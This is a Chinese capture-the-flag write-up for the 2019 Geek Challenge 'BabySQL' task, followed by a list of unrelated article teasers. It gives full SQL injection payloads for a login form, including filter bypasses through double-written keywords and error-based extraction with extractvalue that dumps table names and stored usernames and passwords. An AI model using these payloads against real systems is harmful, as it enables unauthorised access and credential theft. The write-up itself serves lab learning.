BabySQL【2019极客大挑战】

知识点:

  • 功能分析
    • 登录界面一般是 where username ='' and password = ''
    • 可以从username出手,注释掉and语句
  • 单引号闭合绕过
    • 通过测试和报错信息发现是一个单引号读取输入
    • 可以单引号闭合绕过
  • 关键字过滤
    • or and 过滤
      • || &&替换
      • 双写绕过
    • select from where mid substr substring 等关键字进行过滤了
      • 双写绕过
  • 报错注入
    • 登录成功界面没有有价值的回显信息,无法进行联合注入
    • 由于测试中发现有完整的报错信息,可以进行错误注入
    • 报错函数
      • exp(710)
      • extractvalue()
      • updatexml()
    • 报错函数最多展现32位数据
  • 既然能报错注入了,盲注肯定也是可以的
    • 布尔盲注
      • 根据页面是否成功登录判断信息
    • 时间盲注
      • 根据数据是否超时进行爆破数据
    • 不建议用这种方法,作者太狗了,数据太长了,爆破的话可能会出现很多的429数据包,影响识别结果,好像有一道类似的sql注入,也是该作者出的,只能盲注判断,数据包中出现太多的429数据包导致最后的出的信息总是残缺的,只能10字符左右为单位进行爆破才不会出现429,但是总长度213,而且前面表名、字段名都得这么做才行,太狗了,真是畜生啊,不细说了,都是泪呀

开始解题吧

查看界面是一个登录框

通过bp抓包进行测试

先判断注入类型

构造payload:username=3'+or+1=1--+

发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+  or '1'='1' --+;

找绕过手段

通过报错提示发现这里or被过滤了,直接用||替换发现成功绕过;当然这里也是可以利用双写绕过的,做的时候没想到双写绕过,但是在后面information处老是过不去才发觉中间有个or,双写成功绕过了,不细说了,后面见

既然能成功注入了,又获得了完整的错误提示

获取数据库名

获取数据库名;构造payload:username=3'+||+extractvalue(1,concat(0x7e,database(),0x7e))=1--+

成功获取到了数据库名为geek

好了,接下来就获取数据库中的所有表名吧

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whewherere+table_schema='geek'),0x7e))=1--+

这个过程中用到了很多的双写绕过;成功获取到了表名:b4bsql 和 geekuser

geekuser感觉很正常,应该是一个用户数据库,b4bsql这个数据库看着很可疑,flag应该就在这里了,先搞这个数据库

查看这个表中有哪些字段

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name='b4bsql'),0x7e))=1--+

成功出了字段信息,只有三个字段id、username、password

尝试获取一下用户名和密码信息

构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+

成功看到了flag的影子;指出来一部分,还有一部分没出来

继续构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,211,30),0x7e))=1--+

好了,后面的部分也全部出来了

拼接起来是:flag{1272f1b5-2209-42c5-9d9f-c490ef6e05ec}

可能每次出现的flag都不一样,所以不要直接用我这个flag,掌握思路最重要

由于报错函数只能显示32位,所以我这里利用了截取函数(双写绕过),利用开头结尾两个~符号进行判断,中间30位为读取的数据,这里发现数据不完全是因为没用截取函数时后面的~没出现,所以采用截取函数看一下;实际数据两百多位,作者是真的狗,flag还放在最后面

按理说到这里就结束了

但是,处于好奇心,我还是看了一下geekuser中的数据,字段同样为id username password;但是数据只有一条,就是成功登录时的admin用户和密码

好了,到这里就真的结束了

虽然过程坎坷曲折,但是结果还是做出来了,flag自己找的

就是要硬气一回,轻轻松松拿捏作者~~~

就这,我还没发力呢~~~~~~

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/785416.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【leetcode】力扣简单题两数之和

题目 思路 代码实现 #include<iostream> #include<unordered_map>using namespace std;class Solution { public:vector<int> TwoNumber(const vector<int>& nums, int target){vector<int> number_vector;unordered_map<int, int> …

【Linux】常见命令

⭐ 作者&#xff1a;小胡_不糊涂 &#x1f331; 作者主页&#xff1a;小胡_不糊涂的个人主页 &#x1f496; 持续更文&#xff0c;关注博主少走弯路&#xff0c;谢谢大家支持 &#x1f496; 常用命令 1. ls2. pwd3. cd4. touch5. cat6. mkdir7. rm8. cp9. mv10. tail11. vim12.…

TCP粘包是怎么回事,如何处理?

还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#xff0c;webgl&#xff0c;ech…

基于《2023腾讯云容器和函数计算技术实践精选集》—探索腾讯云TKE的Docker容器、Serverless和微服务优势

重剑无锋&#xff0c;大巧不工。 ——金庸 腾讯云TKE&#xff0c;全称Tencent Kubernetes Engine&#xff0c;是一种完全托管式的容器服务。它可以帮助用户快速、高效地部署和管理Kubernetes集群&#xff0c;并提供一系列与之相关的云服务&#xff0c;如负载均衡、云硬盘、对象…

OSPF---开放式最短路径优先协议

1. OSPF描述 OSPF协议是一种链路状态协议。每个路由器负责发现、维护与邻居的关系&#xff0c;并将已知的邻居列表和链路费用LSU报文描述&#xff0c;通过可靠的泛洪与自治系统AS内的其他路由器周期性交互&#xff0c;学习到整个自治系统的网络拓扑结构;并通过自治系统边界的路…

掼蛋游戏规则

1、牌型&#xff1a;单牌、对牌、三张牌、三带二、顺子、同花顺、钢板&#xff08;例&#xff1a; 222333、444555&#xff09;、炸弹&#xff08;4涨以上相同的牌&#xff09;、三连对 2、牌大小&#xff1a;大王&#xff0c;小王&#xff0c;级牌&#xff0c;A&#xff0c;…

从学习海底捞到学习巴奴,中国餐饮带洋快餐重归“产品主义”

俗话说“民以食为天”&#xff0c;吃饭一向是国人的头等大事&#xff0c;餐饮业也是经济的强劲助推力。新世纪以来&#xff0c;餐饮业不断讲述着热辣滚烫的商业故事。 2006年&#xff0c;拥有“必胜客”、“肯德基”等品牌的餐饮巨头百胜集团&#xff0c;组织两百多名区域经理…

太阳能光伏发电应用场景有哪些?

随着全球能源结构的转型和环保意识的提升&#xff0c;太阳能光伏发电作为一种清洁、可再生的能源形式&#xff0c;其应用场景正日益广泛。下面&#xff0c;我们将详细探讨太阳能光伏发电的主要应用场景。 首先&#xff0c;工业领域是太阳能光伏发电的重要应用领域。工业厂房通常…

EasyCVR视频汇聚平台海康Ehome2.0与5.0设备接入时的配置区别

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

Nessus【部署 01】Linux环境部署漏洞扫描工具Nessus最新版详细过程分享(下载+安装+注册+激活)

Nessus最新版详细部署过程分享 1. 获取激活码2.主程序下载安装启动2.1 下载2.2安装2.3 启动 3.许可证及插件3.1 许可证获取3.2 插件安装 4.安装总结 Nessus官方网站&#xff1a; https://www.tenable.com/products/nessus/nessus-essentials 及介绍&#xff1a; 国际数据公司&…

编程语言 MoonBit 本周有超多重磅更新等你来探索:expect 测试添加 inspect 函数,还有……

MoonBit 更新 1. expect 测试添加 inspect 函数 expect 测试添加针对 Show 接口的 inspect 函数&#xff0c;签名如下&#xff1a; pub fn inspect(obj: Show,~content: String "",~loc: SourceLoc _,~args_loc: ArgsLoc _ ) -> Result[Unit, String]⚠️ 此…

C++函数重载引用

函数重载 自然语言中&#xff0c;一个词可以有多重含义&#xff0c;人们可以通过上下文来判断该词真实的含义&#xff0c;即该词被重载了。比如&#xff1a;以前有一个笑话&#xff0c;国有两个体育项目大家根本不用看&#xff0c;也不用担心。一个是乒乓球&#xff0c;一个是男…

Mybatis(3) web项目

web项目 1、准备2、分析3、 MyBatis对象作用域以及事务问题4、问题 实现一个转账系统 1、准备 ①准备一个web模块 在这里使用了maven archetype&#xff0c;选择web 之后会生成 一个web模块&#xff0c;但是不同的版本可能不同&#xff0c;在这里我就没有java和resources目录&…

KUKA机器人更改时间和HMI最小化设置

在使用 KUKA 机器人时&#xff0c;示教器上左边有个“表”的图标&#xff0c;点一下就会显示时间。但一般不准&#xff0c;想要更改时间可以通过HMI最小化后进行更改设置。更改时间需要将示教器界面最小化&#xff0c;也就是进入Windows 界面。通过以下步骤可以进行设置&#x…

ThreadLocal的基本使用

一、ThreadLocal的介绍 ThreadLocal 是 Java 中的一个类&#xff0c;它提供了线程局部变量的功能。线程局部变量是指每个线程拥有自己独立的变量副本&#xff0c;这些变量在不同的线程中互不影响。ThreadLocal 提供了一种在多线程环境下&#xff0c;每个线程都可以独立访问自己…

多叉树题目:N 叉树的最大深度

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;N 叉树的最大深度 出处&#xff1a;559. N 叉树的最大深度 难度 3 级 题目描述 要求 给定一个 N 叉树&#xf…

算法6.4-6.6DFS

一个不知名大学生&#xff0c;江湖人称菜狗 original author: Jacky Li Email : 3435673055qq.com Time of completion&#xff1a;2024.03.27 Last edited: 2024.03.27 目录 算法6.4-6.6DFS 第1关&#xff1a;算法6.5采用邻接矩阵表示图的深搜 任务描述 相关知识 编程要求…

2024银行业最新数字化转型的方法与路径

银行业数字化转型是一场由思想到行动、由顶层到基层、由内部到外部的深刻变革&#xff0c; 需要科学方法论的指导。在推动体系性重塑、开放生态建设、业务科技融合、基础设施升 级以及体制机制变革等探索和实践中&#xff0c;银行业逐步形成从顶层设计到数字化能力建设&#xf…

【数据结构】非线性结构---二叉树

1、树 1.1 树的相关概念 节点的度&#xff1a;一个节点含有的子树的个数称为该节点的度&#xff1b; 如上图&#xff1a;A的为6 叶节点或终端节点&#xff1a;度为0的节点称为叶节点&#xff1b; 如上图&#xff1a;B、C、H、I...等节点为叶节点 非终端节点或分支节点&#…

docker部署实用的运维开发手册

下载镜像 docker pull registry.cn-beijing.aliyuncs.com/wuxingge123/reference:latestdocker-compose部署 vim docker-compose.yml version: 3 services:reference:container_name: referenceimage: registry.cn-beijing.aliyuncs.com/wuxingge123/reference:latestports:…